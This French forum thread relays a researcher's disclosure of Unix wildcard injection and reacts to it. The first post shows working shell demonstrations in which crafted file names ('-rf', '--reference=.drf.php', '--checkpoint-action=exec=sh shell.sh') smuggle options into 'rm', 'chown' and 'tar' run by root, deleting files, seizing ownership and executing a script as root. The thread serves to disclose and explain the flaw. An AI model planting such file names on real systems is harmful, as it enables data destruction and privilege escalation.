IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Actualités Discussion :

[Actualité]UNIX et sa vulnérabilité discrète

  1. #1
    Membre expérimenté
    Avatar de sambia39
    Homme Profil pro
    No Comment
    Inscrit en
    Mai 2010
    Messages
    543
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Loiret (Centre)

    Informations professionnelles :
    Activité : No Comment
    Secteur : High Tech - Matériel informatique

    Informations forums :
    Inscription : Mai 2010
    Messages : 543
    Points : 1 745
    Points
    1 745
    Par défaut [Actualité]UNIX et sa vulnérabilité discrète
    Bonjour à tous
    Voilà, Il n'y a pas si longtemps que ça un des chercheurs en sécurité informatique (Léon) de chez codeDefense à publier dans une note une série de vulnérabilité affectant les systèmes basés sur UNIX.
    Cette vulnérabilité, plutôt astucieuse et vieille école, utilise le caractère "*' (wildcards) qui permettrait à un pirate informatique d'injecter des commandes au shell par l'intermédiaire de la manipulation des fichiers. Elle pourrait même être utilisée pour faire une élévation de privilège si l'utilisateur du shell est en mode root.

    Cette vulnérabilité affecte également des scripts mal conçus ce qui peut être dangereux s'il est exécuté sur une machine de production (serveur). Cette attaque astucieuse exploite le fait qu'un fichier soit nommé de façon intelligible pour que le shell puisse l'interpréter comme un argument complémentaire à la commande émise.

    Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    [root@defensecode public]# ls -al
    total 20
    drwxrwxr-x.  5 leon   leon   4096 Oct 28 17:04 .
    drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
    drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR1
    drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR2
    drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR3
    -rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file1.txt
    -rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file2.txt
    -rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file3.txt
    -rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

    Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    [root@defensecode public]# rm *
    [root@defensecode public]# ls -al
    total 8
    drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:05 .
    drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
    -rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

    En remarque aucune demande de confirmation dans un autre cas

    Dans l'exemple ci-dessus, Léon démontre qu'un pirate plaçant un fichier dans un répertoire et qu'il le nomme "-rf comme la commande UNIX qui a pour rôle d'effacer de manière récursive et sans demande de confirmation tous les répertoires et fichiers, se voit interprété comme un argument que l'en passe à la commande "rm".
    une simple commande de trace prouve que le fichier en question est interprété comme un argument complémentaire.

    Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    [leon@defensecode WILD]$ strace rm *
    execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt", 
    "file3.txt", "-rf"], [/* 25 vars */]) = 0
                  ^- HERE

    Plus encore, l'auteur de la note ne s'arrête pas là, il va utiliser la même procédure pour pouvoir changer tous les droits des fichiers se trouvent dans le répertoire
    Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    [root@defensecode public]# ls -al
    total 52
    drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
    drwx------. 22 user user 4096 Oct 28 17:34 ..
    -rw-rw-r--.  1 user user   66 Oct 28 17:36 admin.php
    -rw-rw-r--.  1 user user   34 Oct 28 17:35 ado.php
    -rw-rw-r--.  1 user user   80 Oct 28 17:44 config.php
    -rw-rw-r--.  1 user user  187 Oct 28 17:44 db.php
    -rw-rw-r--.  1 user user  201 Oct 28 17:35 download.php
    -rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
    -rw-rw-r--.  1 user user   43 Oct 28 17:35 file1.php
    -rw-rw-r--.  1 user user   56 Oct 28 17:47 footer.php
    -rw-rw-r--.  1 user user  357 Oct 28 17:36 global.php
    -rw-rw-r--.  1 user user  225 Oct 28 17:35 header.php
    -rw-rw-r--.  1 user user  117 Oct 28 17:35 inc.php
    -rw-rw-r--.  1 user user  111 Oct 28 17:38 index.php
    -rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
    -rw-rw----.  1 user user   66 Oct 28 17:35 password.inc.php
    -rw-rw-r--.  1 user user   94 Oct 28 17:35 script.php
    
    [root@defensecode public]# chown -R nobody:nobody *.php
    [root@defensecode public]# ls -al
    total 52
    drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
    drwx------. 22 user user 4096 Oct 28 17:34 ..
    -rw-rw-r--.  1 leon leon   66 Oct 28 17:36 admin.php
    -rw-rw-r--.  1 leon leon   34 Oct 28 17:35 ado.php
    -rw-rw-r--.  1 leon leon   80 Oct 28 17:44 config.php
    -rw-rw-r--.  1 leon leon  187 Oct 28 17:44 db.php
    -rw-rw-r--.  1 leon leon  201 Oct 28 17:35 download.php
    -rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
    -rw-rw-r--.  1 leon leon   43 Oct 28 17:35 file1.php
    -rw-rw-r--.  1 leon leon   56 Oct 28 17:47 footer.php
    -rw-rw-r--.  1 leon leon  357 Oct 28 17:36 global.php
    -rw-rw-r--.  1 leon leon  225 Oct 28 17:35 header.php
    -rw-rw-r--.  1 leon leon  117 Oct 28 17:35 inc.php
    -rw-rw-r--.  1 leon leon  111 Oct 28 17:38 index.php
    -rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
    -rw-rw----.  1 leon leon   66 Oct 28 17:35 password.inc.php
    -rw-rw-r--.  1 leon leon   94 Oct 28 17:35 script.php
    "—Référence=.drf.php", veut tous simplement dire, que la commande s'applique en utilisant les propriétés du fichier .drf.php comme référence". En un mot, Léon devient le propriétaire de tous les autres fichiers du répertoire pour conclure un exemple complémentaire pour voir l'étendue des dégâts.

    Now, for example, root user wants to create archive of all files in current
    directory.
    Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    [root@defensecode public]# tar cf archive.tar *
    
    uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command
    execution under root privileges.
    Once again, there are few files created by user 'leon'.
    Code shell : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    -rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
    -rw-r--r--.  1 leon leon     0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
    -rwxr-xr-x.  1 leon leon    12 Oct 28 19:17 shell.sh

    Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the
    'tar' program as command line options. Basically, they command tar to execute shell.sh
    shell script upon the execution.

    [root@defensecode public]# cat shell.sh
    /usr/bin/id

    So, with this tar argument pollution, we can basically execute arbitrary commands
    with privileges of the user that runs tar. As demonstrated on the 'root' account above.
    Et vous ? qu'est ce que vous en pensez ?

    Source: www.defensecode.com
    Brouillon Pièce jointe 152050
    à bientôt
    Celui qui peut, agit. Celui qui ne peut pas, enseigne.
    Il y a deux sortes de savants: les spécialistes, qui connaissent tout sur rien,
    et les philosophes, qui ne connaissent rien sur tout.
    George Bernard Shaw

  2. #2
    Expert éminent sénior
    Avatar de Jipété
    Profil pro
    Inscrit en
    Juillet 2006
    Messages
    10 731
    Détails du profil
    Informations personnelles :
    Localisation : France, Hérault (Languedoc Roussillon)

    Informations forums :
    Inscription : Juillet 2006
    Messages : 10 731
    Points : 15 136
    Points
    15 136
    Par défaut
    Citation Envoyé par sambia39 Voir le message
    [ snip ]
    Et vous ? qu'est ce que vous en pensez ?
    Que ça a déjà été discuté dans le forum Sécurité depuis le 6 juillet, alors autant continuer là-bas, nan ?
    Il a à vivre sa vie comme ça et il est mûr sur ce mur se creusant la tête : peutêtre qu'il peut être sûr, etc.
    Oui, je milite pour l'orthographe et le respect du trait d'union à l'impératif.
    Après avoir posté, relisez-vous ! Et en cas d'erreur ou d'oubli, il existe un bouton « Modifier », à utiliser sans modération
    On a des lois pour protéger les remboursements aux faiseurs d’argent. On n’en a pas pour empêcher un être humain de mourir de misère.
    Mes 2 cts,
    --
    jp

  3. #3
    Membre expérimenté
    Avatar de sambia39
    Homme Profil pro
    No Comment
    Inscrit en
    Mai 2010
    Messages
    543
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Loiret (Centre)

    Informations professionnelles :
    Activité : No Comment
    Secteur : High Tech - Matériel informatique

    Informations forums :
    Inscription : Mai 2010
    Messages : 543
    Points : 1 745
    Points
    1 745
    Par défaut
    Toutes mes excuses je ne le savais pas mercis tout de même
    Celui qui peut, agit. Celui qui ne peut pas, enseigne.
    Il y a deux sortes de savants: les spécialistes, qui connaissent tout sur rien,
    et les philosophes, qui ne connaissent rien sur tout.
    George Bernard Shaw

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [Kylix] Kylix sous UNIX
    Par gRRosminet dans le forum EDI
    Réponses: 3
    Dernier message: 09/11/2004, 17h07
  2. [langage] Windows -> Unix
    Par Jibees dans le forum Langage
    Réponses: 6
    Dernier message: 17/04/2003, 09h16
  3. write() dans une socket.. unix
    Par slack dans le forum Réseau
    Réponses: 5
    Dernier message: 18/12/2002, 20h42
  4. Chargement dynamique de DLL sous Unix
    Par Willou dans le forum Autres éditeurs
    Réponses: 7
    Dernier message: 18/12/2002, 18h25
  5. [langage] Commande Unix en Perl
    Par totox17 dans le forum Langage
    Réponses: 3
    Dernier message: 20/11/2002, 10h59

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo